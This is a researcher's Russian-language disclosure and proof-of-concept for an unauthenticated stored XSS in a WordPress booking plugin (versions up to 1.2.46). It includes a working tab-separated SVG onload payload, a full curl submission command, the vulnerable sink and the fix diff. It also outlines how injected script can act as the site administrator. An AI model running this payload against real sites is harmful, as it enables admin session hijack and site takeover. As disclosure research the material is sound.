
CVE-2026-40791: Неаутентифицированное хранимое XSS в WP Time Slots Booking Form <= 1.2.46
Я обнаружил неаутентифицированное хранимое XSS в плагине WordPress WP Time Slots Booking Form. Публичная отправка бронирования контролирует часть хранимого значения временного слота. Плагин позже выводит это значение на странице администратора Booking Orders без экранирования.
Хитрость проста: плагин разделяет присланную строку встречи по пробелам,
но HTML обрабатывает табуляцию как пробел между именем тега и атрибутом.
Поэтому 8:<svg[ТАБ]onload=...> проходит парсер плагина как значение слота,
а затем становится реальной разметкой, когда администратор открывает список бронирований.
| CVE | CVE-2026-40791 |
| Плагин | WP Time Slots Booking Form |
| Слаг | wp-time-slots-booking-form |
| Затронутые версии | <= 1.2.46 |
| Исправлено в | 1.2.47 |
| Класс ошибки | Неаутентифицированное хранимое XSS (CWE-79) |
| Воздействие | Публичное бронирование -> JavaScript в сессии администратора wp-admin |
| CVSS | 7.2 High (Wordfence), 7.1 (Patchstack) |
| Автор | Daniel Wade |
Публичная форма бронирования принимает это поле:
fieldname1_1=2026-04-15 8:<svg[ТАБ]onload=alert(document.cookie)> 1 0 0 0 0 0 0
Плагин разбирает его так:
$item_split = explode(' ', $app_item_text);
...
'slot' => $item_split[1],
Поскольку разделитель — табуляция, а не пробел, item_split[1] становится:
8:<svg onload=alert(document.cookie)>
Это значение слота сериализуется в бронирование. Когда администратор открывает
Booking Orders, версия 1.2.46 выводит его здесь:
'<span class="ahb-time">'.$this->format_date($posted_data["apps"][$k]["date"]).' '.$posted_data["apps"][$k]["slot"].'</span>' .
...
echo $appts.'</div><div style="display:none">'.$data; // phpcs:ignore WordPress.Security.EscapeOutput
Без экранирования. SVG onload срабатывает на странице администратора.
Это не просто "можно ли прочитать куки администратора?" Современные куки аутентификации WordPress
обычно HttpOnly, поэтому document.cookie может не раскрыть настоящую
wordpress_sec_* куку. Важно то, что скрипт выполняется на аутентифицированной странице
администратора. Он может загружать те же серверные страницы администратора, читать
нераспределённые nonce и отправлять аутентифицированные запросы администратора из браузера жертвы.
Уязвимый поток:
неаутентифицированный POST
-> fieldname1_1
-> extract_appointments()
-> explode(' ', $input)[1]
-> $apps[]['slot']
-> serialize()
-> wp_cptslotsbk_messages.posted_data
-> unserialize()
-> значок встречи Booking Orders
-> неэкранированный вывод HTML
Парсер предполагает, что временной слот — просто текст. Но это не так. Это ввод атакующего, который позже оказывается в HTML-контексте.
Уязвимый сток находится в cp-admin-int-message-list.inc.php:
$appts .= '<div class="ahb-appointment-badge">' .
'<span class="dashicons dashicons-clock"></span>' .
'<span class="ahb-time">'.$this->format_date($posted_data["apps"][$k]["date"]).' '.$posted_data["apps"][$k]["slot"].'</span>' .
...
echo $appts.'</div><div style="display:none">'.$data; // phpcs:ignore WordPress.Security.EscapeOutput
Это phpcs:ignore WordPress.Security.EscapeOutput — вся история в одной строке.
Предупреждение об экранировании было подавлено там, где выводились контролируемые атакующим данные бронирования.
Форма полезной нагрузки:
8:<svg[ТАБ]onload=alert(document.cookie)>
Почему это работает:
PHP explode(' ', ...)
"8:<svg[ТАБ]onload=...>" остаётся одним токеном
Парсер HTML браузера
<svg[ТАБ]onload=...> становится <svg onload=...>
Парсер слотов получает ожидаемое значение. Браузер получает тег, который он умеет выполнять.
PowerShell:
.\poc\reproduce.ps1 -Target "http://127.0.0.1" -PageId 2
Bash:
./poc/reproduce.sh "http://127.0.0.1" 2
Ручной curl:
TAB=$'\t'
TARGET="http://127.0.0.1"
PAGE_ID="2"
curl -i -sS "$TARGET/?page_id=$PAGE_ID" \
--data-urlencode "cp_tslotsbooking_pform_process=1" \
--data-urlencode "cp_pform_psequence=_1" \
--data-urlencode "cp_tslotsbooking_id=1" \
--data-urlencode "fieldname1_1=2026-04-15 8:<svg${TAB}onload=alert(document.cookie)> 1 0 0 0 0 0 0" \
--data-urlencode "fieldname2_1=John Doe" \
--data-urlencode "[email protected]" \
--data-urlencode "fieldname4_1=1234567890" \
--data-urlencode "cp_ref_page=$TARGET/?page_id=$PAGE_ID" \
--data-urlencode "form_structure_1=" \
--data-urlencode "refpage_1=" \
--data-urlencode "cp_tslotsbooking_pform_status="
Ожидаемый результат:
HTTP/1.1 302 Found
Затем войдите как администратор и откройте:
WP Time Slots Booking Form -> Booking Orders
Полезная нагрузка сработает, когда отобразится сохранённая строка бронирования.
Я проверил полную цепочку в одноразовой локальной лаборатории WordPress:
PHP 8.3.31 for Windows
MariaDB 11.4.12 на 127.0.0.1
WordPress
WP Time Slots Booking Form 1.2.46
CAPTCHA отключена на форме 1
Публичная страница с [CP_TIME_SLOTS_BOOKING id="1"]
PowerShell PoC был отправлен чисто:
HTTP status: 302
Полезная нагрузка попала в wp_cptslotsbk_messages.posted_data:
slot";s:69:"8:<svg\tonload=document.body.setAttribute('data-cve40791','executed')>"
Headless Chrome затем вошёл как администратор, открыл Booking Orders и увидел маркер, установленный хранимым SVG-обработчиком:
ADMIN_XSS_EXECUTED
Я также проверил те же хранимые вредоносные строки после замены плагина на
1.2.47. Страница администратора отобразила полезную нагрузку как экранированный текст:
04/15/2026 8:<svg onload=...>
Маркер не сработал:
PATCHED_NO_XSS_EXECUTION
Также есть небольшая локальная проверка корректности отображения:
powershell -NoProfile -ExecutionPolicy Bypass -File .\lab\validate-render.ps1
Она проверяет две механические части без полной установки WordPress:
Parser check OK: разделение по пробелу сохраняет SVG с табуляцией в индексе слота 1.
Browser check OK: табуляция в незакавыченном SVG onload выполняется в отрисованном HTML.
Атакующему не нужна учётная запись. Атакующий отправляет публичное бронирование и ждёт, пока администратор откроет Booking Orders.
Как только администратор просматривает эту страницу, JavaScript атакующего выполняется
внутри источника WordPress администратора. Настоящий атакующий обычно не остановится
на alert(document.cookie). Он использует браузер администратора как администратор:
загружать страницы администратора
-> читать nonce из HTML
-> отправлять аутентифицированные POST-запросы администратора
-> изменять состояние сайта
В зависимости от прав администратора и конфигурации сайта это может означать создание пользователей, изменение настроек плагина, изменение назначения уведомлений, чтение данных бронирований/клиентов или эскалацию до полного захвата сайта через функции плагина/темы.
Версия 1.2.47 экранирует хранимый слот перед созданием значка администратора:
- ' '.$posted_data["apps"][$k]["slot"].'</span>'
+ ' '.esc_html($posted_data["apps"][$k]["slot"]).'</span>'
Это исправляет сток. Санитизация на более раннем этапе тоже была бы разумна, но граница безопасности — это контекст вывода HTML на странице администратора.
poc/
reproduce.ps1 # PowerShell неаутентифицированный отправитель бронирования
reproduce.sh # Bash/curl неаутентифицированный отправитель бронирования
lab/
render-check.html # Минимальная уязвимая фикстура отображения
validate-render.ps1 # Проверка парсера и выполнения в браузере
README.md
| Дата | Событие |
|---|---|
| 2026-03-24 | Сообщено в Patchstack |
| 2026-04-13 | Исправление подтверждено |
| 2026-04-23 |
Отказ от ответственности: Этот PoC публикуется для оборонительных исследований и проверки после появления исправления. Не используйте его против систем, которыми вы не владеете или не имеете явного разрешения на тестирование.
CVE-2026-40791 - Исправлено в WP Time Slots Booking Form 1.2.47. Затронутые версии: 1.2.46 и более ранние.
Daniel Wade - GitHub - Twitter/X - Bluesky - Mastodon - Medium - nadsec.online
| Wordfence опубликовал уведомление |
| 2026-04-24 | Patchstack опубликовал уведомление |
| 2026-04-30 | Wordfence последнее обновление записи |